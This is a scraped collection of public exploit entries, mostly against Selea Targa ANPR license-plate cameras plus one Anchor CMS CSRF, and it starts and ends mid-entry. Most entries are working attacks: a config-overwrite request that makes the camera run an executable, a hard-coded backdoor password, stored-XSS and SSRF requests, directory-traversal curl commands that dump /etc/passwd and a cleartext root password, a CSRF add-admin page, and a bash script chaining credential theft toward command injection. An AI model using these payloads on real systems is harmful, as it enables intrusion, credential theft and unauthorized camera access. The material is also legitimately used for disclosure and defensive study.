Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5622.php


08.11.2020

--


POST /config_request?ACTION=WRITE HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 6309
Authorization: Basic ZmFrZTpmYWtl
Accept: application/json, text/plain, */*
LoginMode: angular
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 Edg/87.0.664.75
AuthToken: 6d0c4568-5c17-11eb-ab5f-54e1ad89571a
content-type: application/json
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9


{
  "ACTIONS": {
    "ANIA_LIST_DAYS_NUM": "15",
    "ANIA_LIST_PWD": "",
    "ANIA_LIST_USER": "{B64valuehereommited}",
    "BLACK_LIST_COUNTRY": "",
    "EXACT_MATCH": "false",
    "FUZZY_MATCH": "true",
    "MINISTEROTRASPORTI_LIST_DAYS_NUM": "15",
    "MINISTEROTRASPORTI_LIST_ENABLE_CHECK": "0,1",
    "MINISTEROTRASPORTI_LIST_GET_OWNERS": "false",
    "MINISTEROTRASPORTI_LIST_PWD": "",
    "MINISTEROTRASPORTI_LIST_SIGNAL_MISSING_CARPLATE": "false",
    "MINISTEROTRASPORTI_LIST_SIGNAL_MISSING_REVISION": "false",
    "MINISTEROTRASPORTI_LIST_USER": "",
    "MINISTEROTRASPORTI_LIST_USE_SELEA_SERVER": "false",
    "MINISTEROTRASPORTI_LIST_USE_VPN": "true",
    "MINISTEROTRASPORTI_LIST_VPN_PASSWORD": "",
    "MINISTEROTRASPORTI_LIST_VPN_USERNAME": "",
    "MINISTERO_LIST_DAYS_NUM": "24",
    "MINISTERO_LIST_PWD": "",
    "MINISTERO_LIST_USER": "",
    "NO_LIST_ENABLED": "true",
    "NO_LIST_ENABLE_EXE": "true",
    "NO_LIST_EXE_PATH": "C:/windows/system32/calc.exe",
    "NO_LIST_HTTP": "http://localhost:8080/$TRIGGER_EXE_VAR",
    "NO_LIST_HTTP_ENABLED": "false",
    "NO_LIST_SEND_TCP_ALARM": "",
    "PERMISSIVE_MATCH": "true",
    "WHITE_LIST_ALLOWED_COUNTRY_TYPE_INFO": ""
  },
  "CAMERAINFO": {
    "BA__________": {
      "APPROACHING": "",
      "CustomCameraId": "",
      "CustomGateId": "",
      "DetectDesc": "ZSL",
      "DetectId": "",
      "Direction": "",
      "GPSLocation": "",
      "GateDesc": "3",
      "GateId": "",
      "LEAVING": "",
      "ZoneName": "",
      "setname": "false",
      "skip": "false"
    }
  },
  "CONTEXT": {
    "BA__________": {
      "URL": [
        "https://www.zeroscience.mk"
      ]
    }
  },
  "DBMS": {
    "DB_NAME": "",
    "DB_PASSWORD": "",
    "DB_SERVER": "",
    "DB_TYPE": "sqlite",
    "DB_USERNAME": "",
    "ENCRYPT_DB": "false",
    "SQLITE_MAX_MB_RAM_CACHE": "-1"
  },
  "EMAIL": {
    "DEST": "",
    "FROM_EMAIL": "",
    "FROM_NAME": "",
    "LOG_USER_SEARCH": "false",
    "MIN_EMAIL_TIME": "5",
    "PASSWORD": "",
    "PORT": "25",
    "SEND_EMAIL_ON_TAMPER": "false",
    "SERVER": "",
    "SSL": "false",
    "USERNAME": "",
    "XOAUTH2": "false"
  },
  "EMAIL-XOAUTH2": {
    "refresh_token": ""
  },
  "EZ_CLIENTS": {
    "PASSWORD": "",
    "SLAVES": "",
    "USERNAME": "",
    "USE_CNTLM": "false",
    "WANT_CTX": "false"
  },
  "EZ_CLIENT_SCNTT": {
    "CTX": "true",
    "HOST": "",
    "PASSWORD": "",
    "PORT": "443",
    "USERNAME": ""
  },
  "FTPSYNC": {
    "DELETE_OLD_SYNC_DAYS": "7",
    "JSON_CONFIG": "eyJzZXJ2ZXJzX2NvbmZpZyI6IFtdfQ==",
    "SAVE_FTP_SEND_ERRORS": "true"
  },
  "GLOBAL_HTTP_PROXY": {
    "CNTLM_ENABLED": "false",
    "EZ_ADDRESS": "cps.selea.com",
    "EZ_PORT": "8999",
    "HOST": "",
    "NON_PROXY_HOST": "localhost|^(10|127|169\\.254|172\\.1[6-9]|172\\.2[0-9]|172\\.3[0-1]|192\\.168)\\..+",
    "PASSWORD": "",
    "PORT": "",
    "PROXY_ENABLED": "true",
    "USERNAME": ""
  },
  "HTTPS": {
    "CERTIFICATE": "",
    "ENABLE_HTTP2": "true",
    "GET_CERTIFICATE_FROM_SELEA": "false",
    "PRIVATE_KEY": "",
    "ROOT_CERTIFICATE": ""
  },
  "MASTER_CPS": {
    "ENABLED": "true",
    "MASTERS": "",
    "PASSWORD": "",
    "USERNAME": ""
  },
  "PROXY_TCP": {
    "ENABLED": "false",
    "USE_HTTP_PROXY": "false"
  },
  "REMOTE_LIST": {
    "ADDRESS": "",
    "ENABLED": "false",
    "PASSWORD": "",
    "PORT": "",
    "USERNAME": ""
  },
  "REPORT": {
    "STATS_AGGREGATE": "true",
    "STATS_ENABLED": "false",
    "STATS_FREQ": "MONTH",
    "STATS_PATH": "",
    "STATS_SELECTED": "",
    "STATS_WEEK_DAY": "Mon"
  },
  "SCNTT": {
    "LIST_A1_DAYS_LIMIT": "0",
    "SCNTT_PASSWORD": "",
    "SCNTT_PRIV_KEY_FILENAME": "",
    "SCNTT_PUB_CERT": "",
    "SCNTT_SYSTEM_DESC": "",
    "SCNTT_SYSTEM_ID": "",
    "SCNTT_USERNAME": ""
  },
  "SETTINGS": {
    "ALLOW_FLASH_NOTIFICATIONS": "true",
    "AUTO_UPDATE": "true",
    "BACKUP_AT_SPECIFIC_HOUR": "-1",
    "BACKUP_DB_PATH": "",
    "BACKUP_EVERY_HOURS": "0",
    "CARPLATE_DETAILS_ENABLED": "false",
    "CHECK_EXPIRING_CARPLATES": "false",
    "CHECK_EXPIRING_CARPLATES_DAYS": "7",
    "CHECK_FILENAME_SYNTAX": "true",
    "DB_DELETE_DAYS": "90",
    "DB_DELETE_ENABLE": "false",
    "DB_DELETE_LOG_DAYS": "7",
    "DB_DELETE_OCR_FILE": "90",
    "DB_STATS_DELETE_DAYS": "90",
    "DISABLE_WHITELIST_REMOTE_DB_CHECK": "false",
    "ENCRYPT_IMAGES": "false",
    "FREE_DISK_LIMIT": "1000",
    "FRIENDLY_NAME": "test",
    "FTP_CUSTOM_PORT_RANGE": "false",
    "FTP_DOWNLOAD_DISABLED": "true",
    "FTP_ENABLED": "true",
    "FTP_EXTERN_IP": "",
    "FTP_EXTERN_IP_AUTO": "false",
    "FTP_LIST_DIR_DISABLED": "true",
    "FTP_MAX_PORT": "0",
    "FTP_MIN_PORT": "0",
    "FTP_PORT": "21",
    "FTP_USERS": "",
    "FTP_USE_FTPS": "true",
    "HTTP2_PORT": "8081",
    "HTTP_PASSWORD": "CR_B_B64/emEEokEfjdQqWo5pfQtoTCA80va3gcU",
    "HTTP_PORT": "8080",
    "HTTP_USERNAME": "admin",
    "IGNORE_CONTEXT_FOR_UNREADFAKE": "false",
    "IGNORE_IF_NOT_SYNTAX_MATCH": "false",
    "MILESTONE_CONNECTIONS": "5",
    "MILESTONE_ENABLED": "true",
    "MILESTONE_ENABLE_ACTIVE_CONNECTION": "false",
    "MILESTONE_PORT": "5666",
    "MILESTON_REMOTE_IP": "",
    "MILESTON_REMOTE_PORT": "8080",
    "MIN_LOG_LEVEL": "0",
    "PERIODIC_BACKUP_CONFIG": "0",
    "REMOVE_BLACK_LIST_ON_EXPIRE": "true",
    "REMOVE_NON_ALARM_CARPLATE": "false",
    "REMOVE_WHITE_LIST_ON_EXPIRE": "true",
    "SAVE_GATEWAY_SEND_ERRORS": "true",
    "SAVE_GATEWAY_SEND_ERRORS_MAX_DAYS": "7",
    "SEND_EMAIL_ON_LOST_CONNECTION": "false",
    "SEND_EMAIL_ON_LOST_CONNECTION_MIN_TIME": "600",
    "SEND_EMAIL_ON_NO_PLATE_READ": "false",
    "SEND_EMAIL_ON_NO_PLATE_READ_MIN_TIME": "12",
    "SERVER_NTP_ON": "false",
    "SERVER_NTP_PORT": "123",
    "USE_HTTPS": "false"
  },
    "VPNC": {
    "VPN_NET_NAME": ""
  },
  "TCP_TEMPLATES": []
}
HireHackking 
# Exploit Title: Anchor CMS 0.12.7 - CSRF (Delete user)
# Exploit Author: Ninad Mishra
# Vendor Homepage: https://anchorcms.com/
# Software Link: https://anchorcms.com/download
# Version: 0.12.7
# CVE : CVE-2020-23342


###PoC
the cms uses get method to perform sensitive actions hence users can be deleted via exploit.html

================================ 
<img src="http://target/anchor/index.php/admin/users/delete/21">
================================ 
Where (21) is the user id .

When admin clicks on exploit.html link

User with id 21 will be deleted
HireHackking 
# Exploit Title: Selea Targa IP OCR-ANPR Camera - Developer Backdoor Config Overwrite
# Date: 07.11.2020
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.selea.com

Selea Targa IP OCR-ANPR Camera Developer Backdoor Config Overwrite


Vendor: Selea s.r.l.
Product web page: https://www.selea.com
Affected version: Model: iZero
                         Targa 512
                         Targa 504
                         Targa Semplice
                         Targa 704 TKM
                         Targa 805
                         Targa 710 INOX
                         Targa 750
                         Targa 704 ILB
                  Firmware: BLD201113005214
                            BLD201106163745
                            BLD200304170901
                            BLD200304170514
                            BLD200303143345
                            BLD191118145435
                            BLD191021180140
                            BLD191021180140
                  CPS: 4.013(201105)
                       3.100(200225)
                       3.005(191206)
                       3.005(191112)

Summary: IP camera with optical character recognition (OCR) software for automatic
number plate recognition (ANPR) also equipped with ADR system that enables it to read
the Hazard Identification Number (HIN, also known as the Kemler Code) and UN number
of any vehicle captured in free-flow mode. TARGA is fully accurate in reading number
plates of vehicles travelling at high speed. Its varifocal, wide-angle lens makes
this camera suitable for all installation conditions. Its built-in OCR software works
as an automatic and independent system without the need of a computer, thus giving
autonomy to the device even in the event of an interruption in the connection between
the camera and the operations centre.

Desc: There is a hard-coded password for a hidden and undocumented /dev.html page that
enables the vendor to enable configuration upload / overwrite to the affected device
using the checkManufacturer() function through an AJAX method.

======================================================================================
/dev.html:
----------
...
...
    function checkManufacturer(){
        var manufacturer=$.cookie('manufacturer');
        if (manufacturer){ $('#set_manufacturer').val('Disable manufacturer'); $('#dev_page').show(); $('#config_restore').show(); }
        else{ $('#set_manufacturer').val('Enable manufacturer'); $('#dev_page').hide(); $('#config_restore').hide();}
    }
    checkManufacturer();
    function setMsg(msg){$('#dev_msg').html(msg); setTimeout(function(){$('#dev_msg').html("");},5000)};
    $('#set_manufacturer').click(function(){
        var manufacturer=$.cookie('manufacturer');
        if (manufacturer){ $.cookie('manufacturer',null); location.reload(); }
        else{
            $.ajax({
                url: "/cgi-bin/utils.php?cmd=DEVPASS&pwd="+md5($('#dev_pwd').val()),
                timeout: 2000,
                cache:false,
                mimeType: 'text/plain'
            }).done(function(result){
                try{
                    var info=$.parseJSON(result);
                    if (info.auth=="OK"){ 
                        setManufacturerTimeout(); 
                        location.reload();
...
...

/cgi-bin/utils.php:
-------------------
...
...
$cmd=$_GET["cmd"];

if ($cmd=="DEVPASS"){
    $pwd=$_GET["pwd"];

    $info=new StdClass();
    $info->auth=($pwd==md5("Selea781830"))?"OK":"ERROR";

    print(json_encode($info, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_NUMERIC_CHECK | JSON_PRETTY_PRINT));
    exit();
}
...
...

======================================================================================

Tested on: GNU/Linux 3.10.53 (armv7l)
           PHP/5.6.22
           selea_httpd
           HttpServer/0.1
           SeleaCPSHttpServer/1.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5615
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5615.php


07.11.2020

--


$ curl http://192.168.1.17/cgi-bin/utils.php?cmd=DEVPASS&pwd=4654fa64de66a5ff0befde3c0203817b
{ "auth": "OK" }

OR

Navigate to /dev.html and enter password: Selea781830, enable config upload.
HireHackking 
# Exploit Title: Selea Targa IP OCR-ANPR Camera - 'files_list' Remote Stored XSS
# Date: 07.11.2020
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.selea.com

Selea Targa IP OCR-ANPR Camera Remote Stored XSS


Vendor: Selea s.r.l.
Product web page: https://www.selea.com
Affected version: Model: iZero
                         Targa 512
                         Targa 504
                         Targa Semplice
                         Targa 704 TKM
                         Targa 805
                         Targa 710 INOX
                         Targa 750
                         Targa 704 ILB
                  Firmware: BLD201113005214
                            BLD201106163745
                            BLD200304170901
                            BLD200304170514
                            BLD200303143345
                            BLD191118145435
                            BLD191021180140
                            BLD191021180140
                  CPS: 4.013(201105)
                       3.100(200225)
                       3.005(191206)
                       3.005(191112)

Summary: IP camera with optical character recognition (OCR) software for automatic
number plate recognition (ANPR) also equipped with ADR system that enables it to read
the Hazard Identification Number (HIN, also known as the Kemler Code) and UN number
of any vehicle captured in free-flow mode. TARGA is fully accurate in reading number
plates of vehicles travelling at high speed. Its varifocal, wide-angle lens makes
this camera suitable for all installation conditions. Its built-in OCR software works
as an automatic and independent system without the need of a computer, thus giving
autonomy to the device even in the event of an interruption in the connection between
the camera and the operations centre.

Desc: The application suffers from a stored XSS through a POST request. The issue is
triggered when input passed to the 'files_list' parameter is not properly sanitized
before being returned to the user. This can be exploited to execute arbitrary HTML
and script code in a user's browser session in context of an affected site.

Tested on: GNU/Linux 3.10.53 (armv7l)
           PHP/5.6.22
           selea_httpd
           HttpServer/0.1
           SeleaCPSHttpServer/1.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5614
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5614.php


07.11.2020

--


Remote Stored XSS:
------------------

POST /cgi-bin/get_file.php HTTP/1.1
Host: 192.168.1.17

name=Test&files_list=<marquee><h3>t00t</h3></marquee>


Unauthenticated Log Pollution Trigger XSS:
------------------------------------------

GET /get_log.php?type=system HTTP/1.1
Host: 192.168.1.17
HireHackking 
# Exploit Title: Selea Targa IP OCR-ANPR Camera - Multiple SSRF (Unauthenticated)
# Date: 07.11.2020
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.selea.com

Selea Targa IP OCR-ANPR Camera Unauthenticated SSRF


Vendor: Selea s.r.l.
Product web page: https://www.selea.com
Affected version: Model: iZero
                         Targa 512
                         Targa 504
                         Targa Semplice
                         Targa 704 TKM
                         Targa 805
                         Targa 710 INOX
                         Targa 750
                         Targa 704 ILB
                  Firmware: BLD201113005214
                            BLD201106163745
                            BLD200304170901
                            BLD200304170514
                            BLD200303143345
                            BLD191118145435
                            BLD191021180140
                            BLD191021180140
                  CPS: 4.013(201105)
                       3.100(200225)
                       3.005(191206)
                       3.005(191112)

Summary: IP camera with optical character recognition (OCR) software for automatic
number plate recognition (ANPR) also equipped with ADR system that enables it to read
the Hazard Identification Number (HIN, also known as the Kemler Code) and UN number
of any vehicle captured in free-flow mode. TARGA is fully accurate in reading number
plates of vehicles travelling at high speed. Its varifocal, wide-angle lens makes
this camera suitable for all installation conditions. Its built-in OCR software works
as an automatic and independent system without the need of a computer, thus giving
autonomy to the device even in the event of an interruption in the connection between
the camera and the operations centre.

Desc: Unauthenticated Server-Side Request Forgery (SSRF) vulnerability exists in the
Selea ANPR camera within several functionalities. The application parses user supplied
data in the POST JSON parameters 'ipnotify_address' and 'url' to construct an image
request or check DNS for IP notification. Since no validation is carried out on the
parameters, an attacker can specify an external domain and force the application to
make an HTTP request to an arbitrary destination host. This can be used by an external
attacker for example to bypass firewalls and initiate a service and network enumeration
on the internal network through the affected application.

Tested on: GNU/Linux 3.10.53 (armv7l)
           PHP/5.6.22
           selea_httpd
           HttpServer/0.1
           SeleaCPSHttpServer/1.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5617
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5617.php


07.11.2020

--


Request:
--------

POST /cps/test_backup_server?ACTION=TEST_IP&NOCONTINUE=TRUE HTTP/1.1
Host: 192.168.1.17

{"test_type":"ip","test_debug":false,"ipnotify_type":"http/get","ipnotify_address":"http://127.0.0.1:80","ipnotify_username":"","ipnotify_password":"","ipnotify_port":"0","ipnotify_content_type":"","ipnotify_template":""}


Response (port 80):
-------------------

{"bandwidth": 1.3571428571428572,"elapsed_ms": 14,"result": "OK","size": 19}


Response (port 8080):
---------------------

{"code": 500,"error": "Error sending notification: Connection refused"}


Request:
--------

POST /cps/test_url HTTP/1.1
Host: 192.168.1.17

{"url":"http://127.0.0.1:80"}: 


Response (port 80):
-------------------

{"elapsed_ms": 2,"jpeg": "GGh0bWw+CjxoZWFkPgo8dGl0bGU+U2VsZWEgQU5QU4BjYW1lcmE8L3RpdGxlPgo8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwO1VSTD0vbhl2ZS5odG1sIj4KPC9oZWFkPgo8Ym9keT48L2JvJHk+CjwvaHRtbD4KCg==","result": "OK"}


Response (port 8081):
---------------------

{"elapsed_ms": 1,"error": "Connection refused"}
HireHackking 
# Exploit Title: Selea Targa IP OCR-ANPR Camera - Directory Traversal File Disclosure (Unauthenticated)
# Date: 07.11.2020
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.selea.com

Selea Targa IP OCR-ANPR Camera Unauthenticated Directory Traversal File Disclosure


Vendor: Selea s.r.l.
Product web page: https://www.selea.com
Affected version: Model: iZero
                         Targa 512
                         Targa 504
                         Targa Semplice
                         Targa 704 TKM
                         Targa 805
                         Targa 710 INOX
                         Targa 750
                         Targa 704 ILB
                  Firmware: BLD201113005214
                            BLD201106163745
                            BLD200304170901
                            BLD200304170514
                            BLD200303143345
                            BLD191118145435
                            BLD191021180140
                            BLD191021180140
                  CPS: 4.013(201105)
                       3.100(200225)
                       3.005(191206)
                       3.005(191112)

Summary: IP camera with optical character recognition (OCR) software for automatic
number plate recognition (ANPR) also equipped with ADR system that enables it to read
the Hazard Identification Number (HIN, also known as the Kemler Code) and UN number
of any vehicle captured in free-flow mode. TARGA is fully accurate in reading number
plates of vehicles travelling at high speed. Its varifocal, wide-angle lens makes
this camera suitable for all installation conditions. Its built-in OCR software works
as an automatic and independent system without the need of a computer, thus giving
autonomy to the device even in the event of an interruption in the connection between
the camera and the operations centre.

Desc: The ANPR camera suffers from an unauthenticated arbitrary file disclosure vulnerability.
Input passed through the Download Archive in Storage page using get_file.php script is
not properly verified before being used to download files. This can be exploited to
disclose the contents of arbitrary and sensitive files via directory traversal attacks
and aid the attacker to disclose clear-text credentials resulting in authentication
bypass.

Tested on: GNU/Linux 3.10.53 (armv7l)
           PHP/5.6.22
           selea_httpd
           HttpServer/0.1
           SeleaCPSHttpServer/1.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5616
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5616.php


07.11.2020

--


$ curl http://192.168.1.17:8080/CFCARD/images/SeleaCamera/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fmnt/data/auth/users.json
{
    "viewers": {},
    "root_pwd": "P@$$w0rd",
    "operators": {}
}

$ curl http://192.168.1.17:8080/CFCARD/images/SeleaCamera/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
root:x:0:0:root:/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/false
bin:x:2:2:bin:/bin:/bin/false
sys:x:3:3:sys:/dev:/bin/false
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/false
www-data:x:33:33:www-data:/var/www:/bin/false
operator:x:37:37:Operator:/var:/bin/false
nobody:x:99:99:nobody:/home:/bin/false
dbus:x:1000:1000:DBus messagebus user:/var/run/dbus:/bin/false



POST /cgi-bin/get_file.php HTTP/1.1
Host: 192.168.1.17

name=TESTINGUS&files_list=/etc/passwd


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-disposition: attachment; filename="TESTINGUS.tar"
Expires: 0
Cache-Control: must-revalidate
Pragma: public
Content-Length: 2048
Connection: close
Date: Wed, 09 Dec 2020 01:39:57 GMT
Server: selea_httpd

root:/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/false
bin:x:2:2:bin:/bin:/bin/false
sys:x:3:3:sys:/dev:/bin/false
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/false
www-data:x:33:33:www-data:/var/www:/bin/false
operator:x:37:37:Operator:/var:/bin/false
nobody:x:99:99:nobody:/home:/bin/false
dbus:x:1000:1000:DBus messagebus user:/var/run/dbus:/bin/false
HireHackking 
# Exploit Title: Selea Targa IP OCR-ANPR Camera - CSRF Add Admin
# Date: 07.11.2020
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.selea.com

Selea Targa IP OCR-ANPR Camera CSRF Add Admin Exploit


Vendor: Selea s.r.l.
Product web page: https://www.selea.com
Affected version: Model: iZero
                         Targa 512
                         Targa 504
                         Targa Semplice
                         Targa 704 TKM
                         Targa 805
                         Targa 710 INOX
                         Targa 750
                         Targa 704 ILB
                  Firmware: BLD201113005214
                            BLD201106163745
                            BLD200304170901
                            BLD200304170514
                            BLD200303143345
                            BLD191118145435
                            BLD191021180140
                            BLD191021180140
                  CPS: 4.013(201105)
                       3.100(200225)
                       3.005(191206)
                       3.005(191112)

Summary: IP camera with optical character recognition (OCR) software for automatic
number plate recognition (ANPR) also equipped with ADR system that enables it to read
the Hazard Identification Number (HIN, also known as the Kemler Code) and UN number
of any vehicle captured in free-flow mode. TARGA is fully accurate in reading number
plates of vehicles travelling at high speed. Its varifocal, wide-angle lens makes
this camera suitable for all installation conditions. Its built-in OCR software works
as an automatic and independent system without the need of a computer, thus giving
autonomy to the device even in the event of an interruption in the connection between
the camera and the operations centre.

Desc: The application interface allows users to perform certain actions via HTTP requests
without performing any validity checks to verify the requests. This can be exploited to
perform certain actions with administrative privileges if a logged-in user visits a malicious
web site.

Tested on: GNU/Linux 3.10.53 (armv7l)
           PHP/5.6.22
           selea_httpd
           HttpServer/0.1
           SeleaCPSHttpServer/1.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5618
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5618.php


07.11.2020

--


Add Admin:
----------

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/192.168.1.17\/save_params.php", true);
        xhr.setRequestHeader("Accept", "*\/*");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=cfgboundary-----------------------1607475234133");
        xhr.withCredentials = true;
        var body = "--cfgboundary-----------------------1607475234133\r\n" + 
          "Content-Disposition: form-data; name=\"set_params\"\r\n" + 
          "\r\n" + 
          "upload\r\n" + 
          "--cfgboundary-----------------------1607475234133\r\n" + 
          "Content-Disposition: form-data; name=\"user_file\"; filename=\"set_params.dat\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "[SECURITY.USERS]\r\n" + 
          "security-users-0-username = testingus\r\n" + 
          "security-users-0-password = testingus\r\n" + 
          "security-users-0-rights = 2\r\n" + 
          "security-users-1-username = \r\n" + 
          "security-users-1-password = \r\n" + 
          "security-users-1-rights = 0\r\n" + 
          "security-users-2-username = \r\n" + 
          "security-users-2-password = \r\n" + 
          "security-users-2-rights = 0\r\n" + 
          "security-users-3-username = \r\n" + 
          "security-users-3-password = \r\n" + 
          "security-users-3-rights = 0\r\n" + 
          "security-allow_viewers_storage_access = 1\r\n" + 
          "CFG_ROOTPASS = admin\r\n" + 
          "\r\n" + 
          "--cfgboundary-----------------------1607475234133--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Add Admin" onclick="submitRequest();" />
    </form>
  </body>
</html>
HireHackking 
# Exploit Title: Selea Targa IP OCR-ANPR Camera - RTP/RTSP/M-JPEG Stream Disclosure (Unauthenticated)
# Date: 07.11.2020
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.selea.com

Selea Targa IP OCR-ANPR Camera Unauthenticated RTP/RTSP/M-JPEG Stream Disclosure


Vendor: Selea s.r.l.
Product web page: https://www.selea.com
Affected version: Model: iZero
                         Targa 512
                         Targa 504
                         Targa Semplice
                         Targa 704 TKM
                         Targa 805
                         Targa 710 INOX
                         Targa 750
                         Targa 704 ILB
                  Firmware: BLD201113005214
                            BLD201106163745
                            BLD200304170901
                            BLD200304170514
                            BLD200303143345
                            BLD191118145435
                            BLD191021180140
                            BLD191021180140
                  CPS: 4.013(201105)
                       3.100(200225)
                       3.005(191206)
                       3.005(191112)

Summary: IP camera with optical character recognition (OCR) software for automatic
number plate recognition (ANPR) also equipped with ADR system that enables it to read
the Hazard Identification Number (HIN, also known as the Kemler Code) and UN number
of any vehicle captured in free-flow mode. TARGA is fully accurate in reading number
plates of vehicles travelling at high speed. Its varifocal, wide-angle lens makes
this camera suitable for all installation conditions. Its built-in OCR software works
as an automatic and independent system without the need of a computer, thus giving
autonomy to the device even in the event of an interruption in the connection between
the camera and the operations centre.

Desc: The ANPR camera suffers from an unauthenticated and unauthorized live stream
disclosure when p1.mjpg or p1.264 is called.

Tested on: GNU/Linux 3.10.53 (armv7l)
           PHP/5.6.22
           selea_httpd
           HttpServer/0.1
           SeleaCPSHttpServer/1.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5619
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5619.php


07.11.2020

--


Connection to RTP/RTSP stream: rtsp://192.168.1.17/p1.264
Connection to M-JPEG stream: http://192.168.1.17/p1.mjpg
HireHackking 
# Exploit Title: Selea Targa IP OCR-ANPR Camera - 'addr' Remote Code Execution (Unauthenticated)
# Date: 07.11.2020
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.selea.com

#!/bin/bash
#
# Selea Targa IP OCR-ANPR Camera Unauthenticated Remote Code Execution
#
#
# Vendor: Selea s.r.l.
# Product web page: https://www.selea.com
# Affected version: Model: iZero
#                          Targa 512
#                          Targa 504
#                          Targa Semplice
#                          Targa 704 TKM
#                          Targa 805
#                          Targa 710 INOX
#                          Targa 750
#                          Targa 704 ILB
#                   Firmware: BLD201113005214
#                             BLD201106163745
#                             BLD200304170901
#                             BLD200304170514
#                             BLD200303143345
#                             BLD191118145435
#                             BLD191021180140
#                             BLD191021180140
#                   CPS: 4.013(201105)
#                        3.100(200225)
#                        3.005(191206)
#                        3.005(191112)
#
# Summary: IP camera with optical character recognition (OCR) software for automatic
# number plate recognition (ANPR) also equipped with ADR system that enables it to read
# the Hazard Identification Number (HIN, also known as the Kemler Code) and UN number
# of any vehicle captured in free-flow mode. TARGA is fully accurate in reading number
# plates of vehicles travelling at high speed. Its varifocal, wide-angle lens makes
# this camera suitable for all installation conditions. Its built-in OCR software works
# as an automatic and independent system without the need of a computer, thus giving
# autonomy to the device even in the event of an interruption in the connection between
# the camera and the operations centre.
#
# Desc: Selea suffers from an authenticated command injection vulnerability. This can be
# exploited to inject and execute arbitrary shell commands as the www-data user through
# the 'addr' and 'port' HTTP GET parameters in utils.php page. Chaining the unauthenticated
# LFI issue an attacker can grab credentials, authenticate and execute system commands.
#
# =====================================================================================
# /mnt/app/scripts/address_check.sh:
# ----------------------------------
#
# 01: #!/bin/sh
# 02: . /mnt/app/scripts/env.sh
# 03: . /mnt/app/scripts/log.sh
# 04:
# 05: CMD="$1"
# 06: ADDR="$2"
# 07: PORT="$3"
# 08:
# 09: if [ "$CMD" == "ping" ]; then
# 10:   RESULT=$(/bin/ping -I eth0 -W 1 -q -c 1 "$ADDR" 2>&1 )
# 11: elif [ "$CMD" == "port" ]; then
# 12:   log "/usr/bin/nc -w 1 -v -z $ADDR $PORT"
# 13:   RESULT=$(/usr/bin/nc -w 1 -v -z "$ADDR" "$PORT" 2>&1 )
# 14: fi
# 15:
# 16: echo -e "$RESULT"
#
# =====================================================================================
#
# Tested on: GNU/Linux 3.10.53 (armv7l)
#            PHP/5.6.22
#            selea_httpd
#            HttpServer/0.1
#            SeleaCPSHttpServer/1.1
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2021-5620
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5620.php
#
#
# 07.11.2020
#
#


# PoC chained exploit (as admin):
#
# solidsnake@metalgear:~/prive$ ./selea.sh 192.168.1.17 id
# Password found: testingus
# Using Authorization: YWRtaW46dGVzdGluZ3VzCg==
# Using command: id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
#
#
IP=$1
CMD=$2
PWD=`curl -s http://${IP}/CFCARD/images/SeleaCamera/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fmnt/data/auth/users.json |grep -oP 'root_pwd": "\K.*?(?=",)'`
echo 'Password found: '${PWD}
AUTH=$(echo admin:${PWD} | base64)
echo 'Using Authorization: '${AUTH}
echo 'Using command: '${CMD}
